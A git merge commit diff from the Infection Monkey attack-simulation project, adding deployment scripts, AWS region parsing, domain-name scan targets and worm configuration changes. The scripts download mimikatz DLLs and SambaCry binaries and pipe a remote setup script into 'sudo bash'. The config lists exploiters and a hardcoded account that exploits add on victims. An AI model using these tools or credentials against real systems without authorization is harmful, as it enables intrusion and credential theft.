Merge remote-tracking branch 'origin/develop' into feature/run-aws-monkey

This commit is contained in:
Itay Mizeretz 2019-02-03 14:18:27 +02:00
commit 4e8fe0ec3f
58 changed files with 2637 additions and 1557 deletions

View File

@ -41,10 +41,13 @@ Setup
------------------------------- -------------------------------
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
Building the Monkey from source Building the Monkey from source
------------------------------- -------------------------------
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).

View File

@ -0,0 +1,23 @@
# Files used to deploy development version of infection monkey
## Windows
Before running the script you must have git installed.<br>
Cd to scripts directory and use the scripts.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
Don't forget to add python to PATH or do so while installing it via this script.<br>
## Linux
You must have root permissions, but there is no need to run the script as root.<br>
Launch deploy_linux.sh from scripts directory.<br>
First argument is an empty directory (script can create one) and second is branch you want to clone.
Example usages:<br>
./deploy_linux.sh (deploys under ./infection_monkey)<br>
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>

19
deployment_scripts/config Normal file
View File

@ -0,0 +1,19 @@
#!/usr/bin/env bash
# Absolute monkey's path
MONKEY_FOLDER_NAME="infection_monkey"
# Url of public git repository that contains monkey's source code
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
# Monkey binaries
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
LINUX_32_BINARY_NAME="monkey-linux-32"
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
LINUX_64_BINARY_NAME="monkey-linux-64"
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
# Mongo url's
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"

View File

@ -0,0 +1,48 @@
# Absolute monkey's path
$MONKEY_FOLDER_NAME = "infection_monkey"
# Url of public git repository that contains monkey's source code
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
# Link to the latest python download or install it manually
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
# Monkey binaries
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
$LINUX_32_BINARY_PATH = "monkey-linux-32"
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
$LINUX_64_BINARY_PATH = "monkey-linux-64"
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"
$TEMP_PYTHON_INSTALLER = ".\python.msi"
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
$TEMP_CPP_INSTALLER = "cpp.exe"
$TEMP_NPM_INSTALLER = "node.msi"
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
$TEMP_UPX_ZIP = "upx.zip"
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
$UPX_FOLDER = "upx394w"
# Other url's
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"

View File

@ -0,0 +1,157 @@
#!/bin/bash
source config
# Setup monkey either in dir required or current dir
monkey_home=${1:-`pwd`}
if [[ $monkey_home == `pwd` ]]; then
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
fi
# We can set main paths after we know the home dir
ISLAND_PATH="$monkey_home/monkey/monkey_island"
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
MONGO_BIN_PATH="$MONGO_PATH/bin"
ISLAND_DB_PATH="$ISLAND_PATH/db"
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
handle_error () {
echo "Fix the errors above and rerun the script"
exit 1
}
log_message () {
echo -e "\n\n-------------------------------------------"
echo -e "DEPLOYMENT SCRIPT: $1"
echo -e "-------------------------------------------\n"
}
sudo -v
if [[ $? != 0 ]]; then
echo "You need root permissions for some of this script operations. Quiting."
exit 1
fi
if [[ ! -d ${monkey_home} ]]; then
mkdir -p ${monkey_home}
fi
git --version &>/dev/null
git_available=$?
if [[ ${git_available} != 0 ]]; then
echo "Please install git and re-run this script"
exit 1
fi
log_message "Cloning files from git"
branch=${2:-"develop"}
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
chmod 774 -R ${monkey_home}
fi
# Create folders
log_message "Creating island dirs under $ISLAND_PATH"
mkdir -p ${MONGO_BIN_PATH}
mkdir -p ${ISLAND_DB_PATH}
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
python_version=`python --version 2>&1`
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
exit 1
fi
log_message "Updating package list"
sudo apt-get update
log_message "Installing pip"
sudo apt-get install python-pip
log_message "Installing island requirements"
requirements="$ISLAND_PATH/requirements.txt"
python -m pip install --user -r ${requirements} || handle_error
# Download binaries
log_message "Downloading binaries"
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version
kernel=`uname -m`
linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
echo "Script does not support your operating system for mongodb installation.
Reference monkey island readme and install it manually"
exit 1
fi
# Download mongo
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
log_message "Downloading mongodb"
if [[ ${linux_dist} == *"Debian"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
fi
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
else
log_message "Mongo db already installed"
fi
log_message "Installing openssl"
sudo apt-get install openssl
# Generate SSL certificate
log_message "Generating certificate"
cd ${ISLAND_PATH} || handle_error
openssl genrsa -out cc/server.key 1024 || handle_error
openssl req -new -key cc/server.key -out cc/server.csr \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
# Install npm
log_message "Installing npm"
sudo apt-get install npm
# Update node
log_message "Updating node"
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
sudo apt-get install -y nodejs
log_message "Generating front end"
cd "$ISLAND_PATH/cc/ui" || handle_error
npm update
npm run dist
# Monkey setup
log_message "Installing monkey requirements"
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
cd ${monkey_home}/monkey/infection_monkey || handle_error
python -m pip install --user -r requirements.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
chmod +x ./build.sh || handle_error
./build.sh
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
log_message "Deployment script finished."
exit 0

View File

@ -0,0 +1,215 @@
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
# Import the config variables
. ./config.ps1
"Config variables from config.ps1 imported"
# If we want monkey in current dir we need to create an empty folder for source files
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
}
# Set variables for script execution
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$webClient = New-Object System.Net.WebClient
# We check if git is installed
try
{
git | Out-Null -ErrorAction Stop
"Git requirement satisfied"
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Please install git before running this script or add it to path and restart cmd"
return
}
# Download the monkey
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
if ( $output -like "*already exists and is not an empty directory.*"){
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
} elseif ($output -like "fatal:*"){
"Error while cloning monkey from the repository:"
$output
return
} else {
"Monkey cloned from the repository"
# Create bin directory
New-Item -ItemType directory -path $binDir
"Bin directory added"
}
# We check if python is installed
try
{
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like 'Python 2.7.*' ) {
"Python 2.7.* was found, installing dependancies"
} else {
throw System.Management.Automation.CommandNotFoundException
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading python 2.7 ..."
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_PYTHON_INSTALLER
# Check if installed correctly
$version = cmd.exe /c '"python" --version 2>&1'
if ( $version -like '* is not recognized*' ) {
"Python is not found in PATH. Add it manually or reinstall python."
return
}
}
# Set python home dir
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
# Get vcforpython27 before installing requirements
"Downloading Visual C++ Compiler for Python 2.7 ..."
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
# Install requirements for island
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
"Upgrading pip..."
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
$output
if ( $output -like '*No module named pip*' ) {
"Make sure pip module is installed and re-run this script."
return
}
& python -m pip install --user -r $islandRequirements
# Install requirements for monkey
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
& python -m pip install --user -r $monkeyRequirements
# Download mongodb
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
"Downloading mongodb ..."
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
"Unzipping mongodb"
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
# Get unzipped folder's name
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
# Move all files from extracted folder to mongodb folder
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
"Moving extracted files"
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
"Removing zip file"
Remove-Item $TEMP_MONGODB_ZIP
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
}
# Download OpenSSL
"Downloading OpenSSL ..."
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
"Unzipping OpenSSl"
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
"Removing zip file"
Remove-Item $TEMP_OPEN_SSL_ZIP
# Download and install C++ redistributable
"Downloading C++ redistributable ..."
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_CPP_INSTALLER
# Generate ssl certificate
"Generating ssl certificate"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
. .\windows\create_certificate.bat
Pop-Location
# Adding binaries
"Adding binaries"
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
# Check if NPM installed
"Installing npm"
try
{
$version = cmd.exe /c '"npm" --version 2>&1'
if ( $version -like "*is not recognized*"){
throw System.Management.Automation.CommandNotFoundException
} else {
"Npm already installed"
}
}
catch [System.Management.Automation.CommandNotFoundException]
{
"Downloading npm ..."
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
Start-Process -Wait $TEMP_NPM_INSTALLER
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
Remove-Item $TEMP_NPM_INSTALLER
}
"Updating npm"
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
& npm update
& npm run dist
Pop-Location
# Install pywin32
"Downloading pywin32"
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
Remove-Item $TEMP_PYWIN32_INSTALLER
# Create infection_monkey/bin directory if not already present
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
# Download upx
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
"Downloading upx ..."
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
"Unzipping upx"
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
# Remove unnecessary files
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
"Removing zip file"
Remove-Item $TEMP_UPX_ZIP
}
# Download mimikatz binaries
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
if(!(Test-Path -Path $mk32_path )){
"Downloading mimikatz 32 binary"
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
}
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
if(!(Test-Path -Path $mk64_path )){
"Downloading mimikatz 64 binary"
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
}
# Download sambacry binaries
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
if(!(Test-Path -Path $samba32_path )){
"Downloading sambacry 32 binary"
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
}
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
if(!(Test-Path -Path $samba64_path )){
"Downloading sambacry 64 binary"
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
}
"Script finished"
}

View File

@ -0,0 +1,8 @@
SET command=. .\deploy_windows.ps1; Deploy-Windows
if NOT "%~1" == "" (
SET "command=%command% -monkey_home %~1"
)
if NOT "%~2" == "" (
SET "command=%command% -branch %~2"
)
powershell -ExecutionPolicy ByPass -Command %command%

View File

@ -1,3 +1,4 @@
import re
import urllib2 import urllib2
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -6,12 +7,24 @@ __author__ = 'itay.mizeretz'
class AwsInstance(object): class AwsInstance(object):
def __init__(self): def __init__(self):
try: try:
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] self.region = self._parse_region(
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read())
except urllib2.URLError: except urllib2.URLError:
self.instance_id = None self.instance_id = None
self.region = None self.region = None
@staticmethod
def _parse_region(region_url_response):
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
# This regex will find any AWS region format string in the response.
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
if finding:
return finding[0]
else:
return None
def get_instance_id(self): def get_instance_id(self):
return self.instance_id return self.instance_id

View File

@ -5,9 +5,12 @@ from abc import ABCMeta, abstractmethod
import ipaddress import ipaddress
from six import text_type from six import text_type
import logging
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__)
class NetworkRange(object): class NetworkRange(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
@ -47,12 +50,23 @@ class NetworkRange(object):
address_str = address_str.strip() address_str = address_str.strip()
if not address_str: # Empty string if not address_str: # Empty string
return None return None
if -1 != address_str.find('-'): if NetworkRange.check_if_range(address_str):
return IpRange(ip_range=address_str) return IpRange(ip_range=address_str)
if -1 != address_str.find('/'): if -1 != address_str.find('/'):
return CidrRange(cidr_range=address_str) return CidrRange(cidr_range=address_str)
return SingleIpRange(ip_address=address_str) return SingleIpRange(ip_address=address_str)
@staticmethod
def check_if_range(address_str):
if -1 != address_str.find('-'):
ips = address_str.split('-')
try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError as e:
return False
return True
return False
@staticmethod @staticmethod
def _ip_to_number(address): def _ip_to_number(address):
return struct.unpack(">L", socket.inet_aton(address))[0] return struct.unpack(">L", socket.inet_aton(address))[0]
@ -111,13 +125,58 @@ class IpRange(NetworkRange):
class SingleIpRange(NetworkRange): class SingleIpRange(NetworkRange):
def __init__(self, ip_address, shuffle=True): def __init__(self, ip_address, shuffle=True):
super(SingleIpRange, self).__init__(shuffle=shuffle) super(SingleIpRange, self).__init__(shuffle=shuffle)
self._ip_address = ip_address self._ip_address, self.domain_name = self.string_to_host(ip_address)
def __repr__(self): def __repr__(self):
return "<SingleIpRange %s>" % (self._ip_address,) return "<SingleIpRange %s>" % (self._ip_address,)
def __iter__(self):
"""
We have to check if we have an IP to return, because user could have entered invalid
domain name and no IP was found
:return: IP if there is one
"""
if self.ip_found():
yield self._number_to_ip(self.get_range()[0])
def is_in_range(self, ip_address): def is_in_range(self, ip_address):
return self._ip_address == ip_address return self._ip_address == ip_address
def _get_range(self): def _get_range(self):
return [SingleIpRange._ip_to_number(self._ip_address)] return [SingleIpRange._ip_to_number(self._ip_address)]
def ip_found(self):
"""
Checks if we could translate domain name entered into IP address
:return: True if dns found domain name and false otherwise
"""
return self._ip_address
@staticmethod
def string_to_host(string):
"""
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
:param string: String that was entered in "Scan IP/subnet list"
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
"""
# The most common use case is to enter ip/range into "Scan IP/subnet list"
domain_name = ''
# Make sure to have unicode string
user_input = string.decode('utf-8', 'ignore')
# Try casting user's input as IP
try:
ip = ipaddress.ip_address(user_input).exploded
except ValueError:
# Exception means that it's a domain name
try:
ip = socket.gethostbyname(string)
domain_name = string
except socket.error:
LOG.error("Your specified host: {} is not found as a domain name and"
" it's not an IP address".format(string))
return None, string
# If a string was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name

View File

@ -1,2 +1,2 @@
#!/bin/bash #!/bin/bash
pyinstaller --clean monkey-linux.spec pyinstaller -F --log-level=DEBUG --clean monkey.spec

View File

@ -7,8 +7,6 @@ from abc import ABCMeta
from itertools import product from itertools import product
import importlib import importlib
importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar' __author__ = 'itamar'
GUID = str(uuid.getnode()) GUID = str(uuid.getnode())
@ -22,6 +20,7 @@ class Configuration(object):
# now we won't work at <2.7 for sure # now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network') network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit') exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = [] unknown_items = []
for key, value in formatted_data.items(): for key, value in formatted_data.items():
@ -35,12 +34,12 @@ class Configuration(object):
if key == 'finger_classes': if key == 'finger_classes':
class_objects = [getattr(network_import, val) for val in value] class_objects = [getattr(network_import, val) for val in value]
setattr(self, key, class_objects) setattr(self, key, class_objects)
elif key == 'scanner_class':
scanner_object = getattr(network_import, value)
setattr(self, key, scanner_object)
elif key == 'exploiter_classes': elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value] class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects) setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else: else:
if hasattr(self, key): if hasattr(self, key):
setattr(self, key, value) setattr(self, key, value)
@ -133,7 +132,6 @@ class Configuration(object):
# how many scan iterations to perform on each run # how many scan iterations to perform on each run
max_iterations = 1 max_iterations = 1
scanner_class = None
finger_classes = [] finger_classes = []
exploiter_classes = [] exploiter_classes = []
@ -193,7 +191,7 @@ class Configuration(object):
9200] 9200]
tcp_target_ports.extend(HTTP_PORTS) tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 200 tcp_scan_interval = 0
tcp_scan_get_banner = True tcp_scan_get_banner = True
# Ping Scanner # Ping Scanner
@ -206,8 +204,8 @@ class Configuration(object):
skip_exploit_if_file_exist = False skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5 ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" user_to_add = "Monkey_IUSER_SUPPORT"
ms08_067_remote_user_pass = "Password1!" remote_user_pass = "Password1!"
# rdp exploiter # rdp exploiter
rdp_use_vbs_download = True rdp_use_vbs_download = True
@ -268,5 +266,7 @@ class Configuration(object):
extract_azure_creds = True extract_azure_creds = True
post_breach_actions = []
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -16,6 +16,7 @@
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true, "extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
@ -40,7 +41,8 @@
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter" "HadoopExploiter",
"MSSQLExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
@ -56,14 +58,13 @@
"monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true, "send_log_to_server": true,
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", "user_to_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!", "remote_user_pass": "Password1!",
"ping_scan_timeout": 10000, "ping_scan_timeout": 10000,
"rdp_use_vbs_download": true, "rdp_use_vbs_download": true,
"smb_download_timeout": 300, "smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey", "smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true, "retry_failed_explotation": true,
"scanner_class": "TcpScanner",
"self_delete_in_cleanup": true, "self_delete_in_cleanup": true,
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
@ -78,7 +79,7 @@
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false, "local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 0,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,
"tcp_target_ports": [ "tcp_target_ports": [
22, 22,
@ -96,5 +97,6 @@
"timeout_between_iterations": 10, "timeout_between_iterations": 10,
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30 "victims_max_find": 30,
